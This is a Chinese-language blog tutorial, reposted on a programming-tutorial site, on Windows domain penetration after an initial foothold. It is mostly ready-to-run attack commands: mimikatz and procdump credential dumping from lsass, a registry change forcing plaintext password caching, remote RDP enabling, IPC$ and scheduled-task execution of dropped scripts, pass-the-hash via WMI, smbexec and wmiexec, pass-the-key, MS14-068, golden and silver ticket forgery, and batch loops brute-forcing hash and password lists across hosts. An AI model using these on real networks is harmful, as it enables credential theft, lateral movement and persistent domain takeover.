Cluster模式 海思 php json unity3d jsf grep electron wso2 nuget Minjs Movejs vue开发 react视频教程 hadoop源码 float占几个字节 java运行软件 git显示所有远程分支 bootstrap单选按钮 plsql连接mysql python搭建环境 python循环语句 python简易教程 python怎么下载 python导入文件 java正则匹配 java正则表达式详解 java字符串格式化 java文件读取 java类方法 java获取url参数 linux服务器登录 xp画图工具 pushstate 日历制作模板 kmservice ps怎么插入表格 dnf刷什么图赚钱 js字符转数字 udp测试工具
当前位置: 首页 > 学习教程  > 编程语言

内网渗透-域渗透简单思路

2020/10/16 18:11:23 文章标签:

文章目录1.权限提升2.渗透姿势爆hash,爆aes key爆hash爆aes key3.远程登录注册表修改连接命令4.连接操作PTH攻击(利用明文或hash连接)IPC(明文连接主机)WMI(利用明文连接)SMB(利用明文或hash连接)RDP(利用明文或hash连接)WMI工具(利用明文或hash连接)PTK攻击(aes ke…

文章目录

  • 1.权限提升
  • 2.渗透姿势
    • 爆hash,爆aes key
      • 爆hash
      • 爆aes key
  • 3.远程登录
    • 注册表修改
    • 连接命令
  • 4.连接操作
  • PTH攻击(利用明文或hash连接)
      • IPC(明文连接主机)
      • WMI(利用明文连接)
      • SMB(利用明文或hash连接)
      • RDP(利用明文或hash连接)
      • WMI工具(利用明文或hash连接)
  • PTK攻击(aes key 进行连接)
  • PTT攻击(权限维持)
    • Golden ticket(黄金票据)
    • silver ticket(白银票据)
  • 5.bat批量连接测试

1.权限提升

  • 一开始一定要提到administrator或以上,才好继续内网渗透。

2.渗透姿势

爆hash,爆aes key

爆hash

域用户主机上传mimikatz

  • mimikatz.exe上执行: privilege::debug sekurlsa::logonpasswords 则可报出hash
  • 当目标为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。
  • reg add
    HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
    UseLogonCredential /t REG_DWORD /d 1 /f

procdump

  • procdump -accepteula -ma lsass.exe lsass.dmp mimikatz.exe上执行:
  • sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords

爆aes key

3.远程登录

注册表修改

开启的3389方法:
1.通用开3389(优化后):

  • wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call
    SetAllowTSConnections 1

2.For Win2003:

  • REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" “Server /v
    fDenyTSConnections /t REG_DWORD /d 00000000 /f

3.For Win2008:

  • REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” "Server /v
    fDenyTSConnections /t REG_DWORD /d 00000000 /f

4.For Every:
cmd开3389 win08 win03 win7 win2012 winxp
win08,三条命令即可:

  • wmic /namespace:\root\cimv2 erminalservices path
    win32_terminalservicesetting where (__CLASS != “”) call
    setallowtsconnections 1

  • wmic /namespace:\root\cimv2 erminalservices path
    win32_tsgeneralsetting where (TerminalName =‘RDP-Tcp’) call
    setuserauthenticationrequired 1

  • reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v
    fSingleSessionPerUser /t REG_DWORD /d 0 /f

win2012通用;win7前两条即可。权限需要run as administrator。

连接命令

  • windows: mstsc
  • linux: rdesktop 192.168.3.21:3389

4.连接操作

PTH攻击(利用明文或hash连接)

IPC(明文连接主机)

在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令及相关工具的使用,在已知目标系统的用户明文密码或者hash的基础上,直接可以在远程主机上执行命令。

获取到某域主机权限->minikatz得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文,hash当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令

一、利用流程

  1. 建立IPC链接到目标主机
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
  4. 删除IPC链接

net use \server\ipc$“password” /user:username # 工作组
net use \server\ipc$“password” /user:domain\username #域内

dir \xx.xx.xx.xx\C$\ # 查看文件列表
copy \xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \xx.xx.xx.xx\C$\1.bat # 复制文件
net use \xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享

建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码

建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误

二、[at] & [schtasks]
#at 小于等于windows2008
net use \192.168.1.5 Password /user:admin # 建立ipc连接:
copy add.bat \192.168.1.5\C$\Inetpub # 拷贝执行脚本到目标机器
net time \192.168.1.5 # 查看目标时间,可能本地时间与目标时间不符
at \192.168.1.5 21:52 c:\Inetpub\add.bat # 添加计划任务
at \192.168.1.5 # 查看任务列表

#schtasks 大于windows2008
net use \192.168.1.5 Password /user:admin # 建立ipc连接:
copy add.bat \192.168.1.5\C$\Inetpub # 拷贝执行脚本到目标机器
net time \192.168.1.5 # 查看目标时间,可能本地时间与目标时间不符
schtasks /create /s 192.168.1.5 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\Inetpub\add.bat /F #创建adduser计划任务
schtasks /run /s 192.168.1.5 /tn adduser /i #运行adduser计划任务
schtasks /delete /s 192.168.1.5 /tn adduser /f # 删除计划任务

WMI(利用明文连接)

自带WMIC 明文传递 无回显

  • wmic /node:192.168.3.21 /user:administrator /password:Admin12345
    process call create “cmd.exe /c ipconfig >C:\1.txt”

SMB(利用明文或hash连接)

  • smbexec ./admin:password@192.168.3.21
  • smbexec domain/admin:password@192.168.3.21
  • smbexec -hashes :HASH ./admin@192.168.3.21
  • smbbexec -hashes :HASH domain/admin@192.168.3.21
  • smbexec -hashes :ccef208c6485269c20db2cad21734fe7
    ./administrator@192.168.3.21

RDP(利用明文或hash连接)

  • 除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。

RDP明文密码链接

  • windows: mstsc
  • linux: rdesktop 192.168.3.21:3389

RDP密文HASH链接

  • windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server
    2012 R2中默认开启,同时如果Win 7 和Windows Server 2008
    R2安装了2871997、2973351补丁也支持;开启命令:
  • REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v
    DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

开启后运行:

  • mstsc.exe /restrictedadmin
  • mimikatz.exe
  • privilege::debug
  • sekurlsa::pth /user:administrator /domain:remoteserver
    /ntlm:d25ecd13fddbb542d2e16da4f9e0333d “/run:mstsc.exe
    /restrictedadmin”

WMI工具(利用明文或hash连接)

  • wmiexec ./administrator:Admin12345@192.168.3.21 “whoami”
  • wmiexec -hashes :HASH ./admin@192.168.3.21 “whoami”
  • wmiexec -hashes :ccef208c6485269c20db2cad21734fe7
    ./administrator@192.168.3.21 “whoami”

PTK攻击(aes key 进行连接)

PTK(pass the key) #利用的aeskey进行的渗透测试

#获取用户aes key
mimikatz “privilege::debug” “sekurlsa::ekeys”

#注入aes key
mimikatz “privilege::debug” “sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288”

#目标系统:安装kb2871997补丁

PTT攻击(权限维持)

Kerberos协议在域中,简要介绍一下

  • 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting
    Ticket)
  • 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
  • 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
  • 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

在这里插入图片描述

  • ptt攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:

MS14-068,Golden ticket(黄金票据),SILVER ticket(白银票据)

#MS14-068

  • #查看当前sid whoami/user

  • mimikatz # kerberos::purge

  • //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

  • mimikatz # kerberos::list

  • //查看当前机器凭证

  • mimikatz # kerberos::ptc

  • 票据文件 //将票据注入到内存中

#利用ms14-068生成TGT数据

  • ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
  • MS14-068.exe -u mary@god.org -s
    S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p
    admin!@#45

#票据注入

  • mimikatz.exe “kerberos::ptc TGT_mary@god.org.ccache” exit

#查看凭证列表 klist
#利用net use载入

  • net use \192.168.3.21\c$

  • dir \192.168.3.21\c$

#利用kekeo生成TGT数据
#生成票据

  • kekeo “tgt::ask /user:mary /domain:god.org
    /ntlm:518b98ad4178a53695dc997aa02d455c”

#导入票据

  • kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

#查看凭证 klist

#利用net use载入

  • net use \192.168.3.21\c$

  • dir \192.168.3.21\c$

权限维持-Golden ticket

Golden ticket(黄金票据)

  • Golden
    ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

#伪造黄金凭据需要具备下面条件:

  • krbtgt用户的hash(有域控制器权限)
  • 域名称
  • 域的SID值
  • 要伪造的用户名

#域控DC导出hash krbtgt

  • privilege::debug

  • lsadump::lsa /patch

  • b097d7ed97495408e1537f706c357fc5

#生成tgt凭证

  • mimikatz # kerberos::golden /user:administrator /domain::god.org
    /sid:S-1-5-21-1218902331-2157346161-1782232778-1124
    /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket

#注入凭证

  • mimikatz # kerberos::ptt ticket.kirbi

#查看凭证 klist

##利用net use载入

  • net use \192.168.3.21\c$

  • dir \192.168.3.21\c$

权限维持-silver ticket

silver ticket(白银票据)

  • silver ticket和golden
    ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。不像是Golden
    ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。白银票据这里只是对单一的服务进行授权,利用过程和golden
    ticket差不多,首先上域控制器中,把机器的ntlm hash(rc4加密)
    dump下来,然后在普通域用户机器进行伪造权限,进行ptt.

#域控导出hash

  • privilege::debug
  • sekurlsa::logonpasswords

#攻击3.21下的cifs(文件共享服务)

  • kerberos::golden /domain:god.org
    /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:192.168.3.21
    /rc4:8432d4fa4430ecf56927dbabd1b4d36b /service:cifs /user:mary /ptt

PTT(pass the ticket) #利用的票据凭证TGT进行的渗透测试

5.bat批量连接测试

#利用hash验证主机列表ips.txt
FOR /F %%i in (ips.txt) do atexec.exe -hashes :HASH ./administrator@%%i whoami

#指定主机进行用户hash列表(hashes.txt)爆破
FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76 whoami

#指定主机进行明文密码列表(passwords.txt)爆破

FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%i@192.168.3.76 whoami

#利用明文密码验证主机列表ips.txt
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami


本文链接: http://www.dtmao.cc/news_show_300388.shtml

附件下载

相关教程

    暂无相关的数据...

共有条评论 网友评论

验证码: 看不清楚?